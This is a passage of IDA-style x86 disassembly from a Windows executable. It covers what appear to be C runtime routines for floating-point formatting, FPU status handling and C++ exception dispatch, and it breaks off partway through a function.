sub_421A2C	proc near		; CODE XREF: sub_42157F+1Dp
					; sub_42157F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421A43
		fld	ds:tbyte_43F518
		fistp	[ebp+arg_0]
		wait


loc_421A43:				; CODE XREF: sub_421A2C+Bj
		test	cl, 8
		jz	short loc_421A58
		fstsw	ax
		fld	ds:tbyte_43F518
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421A58:				; CODE XREF: sub_421A2C+1Aj
		test	cl, 10h
		jz	short loc_421A67
		fld	ds:tbyte_43F524
		fstp	[ebp+var_8]
		wait


loc_421A67:				; CODE XREF: sub_421A2C+2Fj
		test	cl, 4
		jz	short loc_421A75
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421A75:				; CODE XREF: sub_421A2C+3Ej
		test	cl, 20h
		jz	short locret_421A80
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421A80:				; CODE XREF: sub_421A2C+4Cj
		leave
		retn
sub_421A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421A82	proc near		; CODE XREF: sub_41C938+Fp
		push	30000h
		push	10000h
		call	sub_4242A5
		pop	ecx
		pop	ecx
		retn
sub_421A82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A94	proc near		; CODE XREF: sub_421AD2:loc_421AF6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_428890
		fstp	[ebp+var_8]
		fld	ds:dbl_428888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_428718
		fnstsw	ax
		sahf
		jbe	short loc_421ACE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_421ACE:				; CODE XREF: sub_421A94+33j
		xor	eax, eax
		leave
		retn
sub_421A94	endp


; =============== S U B	R O U T	I N E =======================================



sub_421AD2	proc near		; CODE XREF: sub_41C938+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0C90004h
		xchg	eax, ebp
		test	eax, eax
		jz	short loc_421AF6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_4280BC
		test	eax, eax
		jz	short loc_421AF6
		push	0
		call	eax ; sub_41C938
		retn
; ---------------------------------------------------------------------------


loc_421AF6:				; CODE XREF: sub_421AD2+Dj
					; sub_421AD2+1Dj
		jmp	sub_421A94
sub_421AD2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421AFB	proc near		; CODE XREF: sub_41F8BF+3CBp
					; DATA XREF: sub_41C950+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D96C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_421B3B


loc_421B0F:				; CODE XREF: sub_421AFB+3Ej
		inc	esi
		cmp	ds:dword_43F194, 1
		jle	short loc_421B28
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_421B37
; ---------------------------------------------------------------------------


loc_421B28:				; CODE XREF: sub_421AFB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_43EF88
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421B37:				; CODE XREF: sub_421AFB+2Bj
		test	eax, eax
		jnz	short loc_421B0F


loc_421B3B:				; CODE XREF: sub_421AFB+12j
		mov	cl, ds:byte_43F198
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421B46:				; CODE XREF: sub_421AFB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421B46
		pop	esi
		retn
sub_421AFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421B55	proc near		; CODE XREF: sub_41F8BF+3E2p
					; DATA XREF: sub_41C950+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, ds:byte_43F198
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421B71


loc_421B65:				; CODE XREF: sub_421B55+1Aj
		cmp	cl, dl
		jz	short loc_421B71
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421B65


loc_421B71:				; CODE XREF: sub_421B55+Ej
					; sub_421B55+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421BA2


loc_421B78:				; CODE XREF: sub_421B55+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421B8B
		cmp	cl, 65h
		jz	short loc_421B8B
		cmp	cl, 45h
		jz	short loc_421B8B
		inc	eax
		jmp	short loc_421B78
; ---------------------------------------------------------------------------


loc_421B8B:				; CODE XREF: sub_421B55+27j
					; sub_421B55+2Cj ...
		mov	ecx, eax


loc_421B8D:				; CODE XREF: sub_421B55+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_421B8D
		cmp	[eax], dl
		jnz	short loc_421B98
		dec	eax


loc_421B98:				; CODE XREF: sub_421B55+40j
					; sub_421B55+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421B98

locret_421BA2:				; CODE XREF: sub_421B55+21j
		retn
sub_421B55	endp


; =============== S U B	R O U T	I N E =======================================



sub_421BA3	proc near		; DATA XREF: sub_41C950+28o
					; seg002:off_43F540o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_428880
		fnstsw	ax
		sahf
		jb	short loc_421BB8
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421BB8:				; CODE XREF: sub_421BA3+Fj
		xor	eax, eax
		retn
sub_421BA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_420730+430p
					; DATA XREF: sub_41C950+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_421BE4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424768
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421BE4:				; CODE XREF: sub_421BBB+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424795
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BF9	proc near		; CODE XREF: sub_421E76+17p
					; sub_421EC0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_4DDF50,	0
		push	ebx
		push	esi
		jz	short loc_421C2E
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_4DDF4C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421F11
		pop	ecx
		pop	ecx
		jmp	short loc_421C66
; ---------------------------------------------------------------------------


loc_421C2E:				; CODE XREF: sub_421BF9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424839
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4247C2
		add	esp, 14h


loc_421C66:				; CODE XREF: sub_421BF9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421C72
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421C72:				; CODE XREF: sub_421BF9+73j
		test	ebx, ebx
		jle	short loc_421C8A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_43F198
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421C8A:				; CODE XREF: sub_421BF9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_4DDF50,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C0A0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421CB1
		mov	byte ptr [ecx],	45h


loc_421CB1:				; CODE XREF: sub_421BF9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421CF6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421CC5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421CC5:				; CODE XREF: sub_421BF9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421CDC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421CDC:				; CODE XREF: sub_421BF9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421CF3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421CF3:				; CODE XREF: sub_421BF9+E7j
		add	[ecx+1], bl


loc_421CF6:				; CODE XREF: sub_421BF9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CFD	proc near		; CODE XREF: sub_421E9D+13p
					; sub_421EC0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_4DDF50,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421D38
		mov	eax, ds:dword_4DDF54
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_4DDF4C
		cmp	eax, ebx
		jnz	short loc_421D68
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421D68
; ---------------------------------------------------------------------------


loc_421D38:				; CODE XREF: sub_421CFD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424839
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4247C2
		add	esp, 14h


loc_421D68:				; CODE XREF: sub_421CFD+22j
					; sub_421CFD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421D76
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421D76:				; CODE XREF: sub_421CFD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421D8D
		push	1
		push	edi
		call	sub_421F11
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421D8F
; ---------------------------------------------------------------------------


loc_421D8D:				; CODE XREF: sub_421CFD+7Ej
		add	edi, eax


loc_421D8F:				; CODE XREF: sub_421CFD+8Ej
		test	ebx, ebx
		jle	short loc_421DD4
		push	1
		push	edi
		call	sub_421F11
		mov	al, ds:byte_43F198
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421DD4
		cmp	ds:byte_4DDF50,	0
		jz	short loc_421DB9
		neg	esi
		jmp	short loc_421DBF
; ---------------------------------------------------------------------------


loc_421DB9:				; CODE XREF: sub_421CFD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421DC1


loc_421DBF:				; CODE XREF: sub_421CFD+BAj
		mov	ebx, esi


loc_421DC1:				; CODE XREF: sub_421CFD+C0j
		push	ebx
		push	edi
		call	sub_421F11
		push	ebx
		push	30h
		push	edi
		call	sub_41B780
		add	esp, 14h


loc_421DD4:				; CODE XREF: sub_421CFD+94j
					; sub_421CFD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DDB	proc near		; CODE XREF: sub_421EC0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424839
		mov	ds:dword_4DDF4C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_4DDF54, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4247C2
		mov	eax, ds:dword_4DDF4C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_4DDF54, ecx
		setl	cl
		mov	ds:byte_4DDF58,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_4DDF54, eax
		jl	short loc_421E61
		cmp	eax, ebx
		jge	short loc_421E61
		test	cl, cl
		jz	short loc_421E52


loc_421E48:				; CODE XREF: sub_421DDB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421E48
		and	[esi-2], al


loc_421E52:				; CODE XREF: sub_421DDB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421E9D
		add	esp, 0Ch
		jmp	short loc_421E71
; ---------------------------------------------------------------------------


loc_421E61:				; CODE XREF: sub_421DDB+63j
					; sub_421DDB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421E76
		add	esp, 10h


loc_421E71:				; CODE XREF: sub_421DDB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421DDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E76	proc near		; CODE XREF: sub_421DDB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_4DDF50,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_421BF9
		and	ds:byte_4DDF50,	0
		add	esp, 10h
		retn
sub_421E76	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9D	proc near		; CODE XREF: sub_421DDB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_4DDF50,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421CFD
		and	ds:byte_4DDF50,	0
		add	esp, 0Ch
		retn
sub_421E9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EC0	proc near		; CODE XREF: sub_41F8BF+3AAp
					; DATA XREF: sub_41C950o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421EFB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421EFB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421EE8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421CFD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421EE8:				; CODE XREF: sub_421EC0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421DDB
		jmp	short loc_421F0C
; ---------------------------------------------------------------------------


loc_421EFB:				; CODE XREF: sub_421EC0+7j
					; sub_421EC0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BF9


loc_421F0C:				; CODE XREF: sub_421EC0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421EC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F11	proc near		; CODE XREF: sub_421BF9+2Cp
					; sub_421CFD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421F34
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B1D0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CE80
		add	esp, 10h
		pop	esi


loc_421F34:				; CODE XREF: sub_421F11+7j
		pop	edi
		retn
sub_421F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F36	proc near		; CODE XREF: seg000:0041CB30p
					; sub_41CB99+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421F4C
		call	sub_4227D2


loc_421F4C:				; CODE XREF: sub_421F36+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421F74
		cmp	dword ptr [esi+4], 0
		jz	short loc_421FCA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421FCA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42227D
		add	esp, 10h
		jmp	short loc_421FCA
; ---------------------------------------------------------------------------


loc_421F74:				; CODE XREF: sub_421F36+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421FCA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421FAE
		cmp	[eax+14h], edi
		jbe	short loc_421FAE
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421FAE
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421FCD
; ---------------------------------------------------------------------------


loc_421FAE:				; CODE XREF: sub_421F36+4Aj
					; sub_421F36+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421FD1
		add	esp, 20h


loc_421FCA:				; CODE XREF: sub_421F36+23j
					; sub_421F36+29j ...
		push	1
		pop	eax


loc_421FCD:				; CODE XREF: sub_421F36+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FD1	proc near		; CODE XREF: sub_421F36+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421FF1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421FF6


loc_421FF1:				; CODE XREF: sub_421FD1+16j
		call	sub_4227D2


loc_421FF6:				; CODE XREF: sub_421FD1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_42214D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_42206A
		cmp	[esi+14h], edi
		jnz	short loc_42206A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_42206A
		mov	esi, ds:dword_4DDF5C
		test	esi, esi
		jz	loc_422148
		mov	eax, ds:dword_4DDF60
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4249C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42204C
		call	sub_4227D2


loc_42204C:				; CODE XREF: sub_421FD1+74j
		cmp	[esi], ebx
		jnz	loc_42214D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_42206A
		cmp	[esi+14h], edi
		jnz	short loc_42206A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_42206A
		call	sub_4227D2


loc_42206A:				; CODE XREF: sub_421FD1+41j
					; sub_421FD1+46j ...
		cmp	[esi], ebx
		jnz	loc_42214D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_42214D
		cmp	[esi+14h], edi
		jnz	loc_42214D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CCE7
		add	esp, 14h
		mov	ebx, eax


loc_4220A1:				; CODE XREF: sub_421FD1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_422138
		cmp	[ebx], edi
		jg	short loc_42212D
		cmp	edi, [ebx+4]
		jg	short loc_42212D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_42212A


loc_4220C6:				; CODE XREF: sub_421FD1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_4220F7


loc_4220D8:				; CODE XREF: sub_421FD1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422220
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422106
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_4220D8


loc_4220F7:				; CODE XREF: sub_421FD1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_4220C6
		jmp	short loc_42212A
; ---------------------------------------------------------------------------


loc_422106:				; CODE XREF: sub_421FD1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422331
		add	esp, 2Ch


loc_42212A:				; CODE XREF: sub_421FD1+F3j
					; sub_421FD1+133j
		mov	edi, [ebp+var_10]


loc_42212D:				; CODE XREF: sub_421FD1+DEj
					; sub_421FD1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_4220A1
; ---------------------------------------------------------------------------


loc_422138:				; CODE XREF: sub_421FD1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_422148
		push	1
		push	esi
		call	sub_4226A6
		pop	ecx
		pop	ecx


loc_422148:				; CODE XREF: sub_421FD1+56j
					; sub_421FD1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214D:				; CODE XREF: sub_421FD1+37j
					; sub_421FD1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_422173
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422178
		add	esp, 20h
		jmp	short loc_422148
; ---------------------------------------------------------------------------


loc_422173:				; CODE XREF: sub_421FD1+180j
		jmp	sub_42277C
sub_421FD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422178	proc near		; CODE XREF: sub_421FD1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_4DDF64, 0
		push	esi
		push	edi
		jz	short loc_4221A9
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CBBE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42221C


loc_4221A9:				; CODE XREF: sub_422178+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CCE7
		add	esp, 14h
		mov	esi, eax


loc_4221C5:				; CODE XREF: sub_422178+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42221C
		cmp	edi, [esi]
		jl	short loc_422214
		cmp	edi, [esi+4]
		jg	short loc_422214
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4221EE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422214


loc_4221EE:				; CODE XREF: sub_422178+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422331
		add	esp, 2Ch


loc_422214:				; CODE XREF: sub_422178+57j
					; sub_422178+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_4221C5
; ---------------------------------------------------------------------------


loc_42221C:				; CODE XREF: sub_422178+2Fj
					; sub_422178+53j
		pop	edi
		pop	esi
		leave
		retn
sub_422178	endp


; =============== S U B	R O U T	I N E =======================================



sub_422220	proc near		; CODE XREF: sub_421FD1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422277
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422277
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422251
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422273


loc_422251:				; CODE XREF: sub_422220+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42225B
		test	byte ptr [edi],	8
		jz	short loc_422273


loc_42225B:				; CODE XREF: sub_422220+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42226A
		test	byte ptr [edi],	1
		jz	short loc_422273


loc_42226A:				; CODE XREF: sub_422220+43j
		test	al, 2
		jz	short loc_422277
